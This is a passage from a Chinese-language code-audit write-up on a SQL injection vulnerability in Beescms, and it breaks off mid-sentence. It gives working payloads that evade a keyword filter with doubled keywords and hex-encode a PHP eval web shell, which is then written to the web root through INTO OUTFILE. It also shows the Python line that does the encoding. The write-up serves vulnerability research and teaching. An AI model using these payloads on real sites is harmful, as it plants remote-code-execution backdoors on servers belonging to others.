mysql注入审计_【代码审计】对Beescms SQL注入漏洞的进一步思考

0x02 Mysql注入的一个特性

上篇分析到，由于函数fl_html()的影响，其实就是php函数htmlspecialchars()，导致不能写shell到目标机器。其实这里利用Mysql注入的一个特性就可以达到注入的效果。即对shell部分进行Hex编码，或者用mysql函数char()就可以轻松绕过这里的限制。

方法一 hex编码

我们写入shell的语句是：

[SQL] 纯文本查看 复制代码user=admin' uni union on selselectect null,null,null,null,<?php @eval($_POST[a]); ?> in into outoutfilefile 'D:/xampp/htdocs/beecms/a.php' --%20

对shell部分进行hex编码为，这里我们采用Python简单编码：

[Python] 纯文本查看 复制代码>>> '<?php @eval($_POST[a]); ?>'.encode('hex')

'3c3f70687020406576616c28245f504f53545b615d293b203f3e'

写入shell的payload为：

[SQL] 纯文本查看 复制代码user=admin' uni union on selselectect null,null,null,null,0x3c3f70687020406576616c28245f504f53545b615d293b203f3e in into outoutfilefile 'D:/xampp/htdocs/beecms/a.php' --%20

记得在编码转换的时候前面加0x或者直接用函数un